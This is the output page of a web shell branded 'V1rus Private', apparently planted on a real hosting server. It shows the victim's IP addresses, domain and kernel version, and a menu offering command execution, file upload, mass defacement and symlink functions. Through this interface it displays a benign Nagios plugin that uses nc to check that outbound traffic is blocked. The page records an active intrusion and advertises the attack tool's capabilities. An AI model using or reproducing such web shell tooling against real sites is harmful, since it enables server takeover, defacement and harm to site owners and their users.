V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_a2_outbound_nat.sh
#!/bin/bash # # check_a2_outbound_nat.sh - A bash script to make sure JBK servers cant talk outbound. # Ref: SYSENG-23372 # Author : rkk@a2hosting.com # check_port() { if nc -z -w 5 portquiz.net 80 || nc -z -w 5 portquiz.net 22; then echo "NAT is open while checking port 22 and 80 for outbound traffic." exit 2 else echo "NAT is closed while checking Port 22 and 80 for outbound traffic." exit 0 fi } check_port
Coded With 💗 by
HanzOFC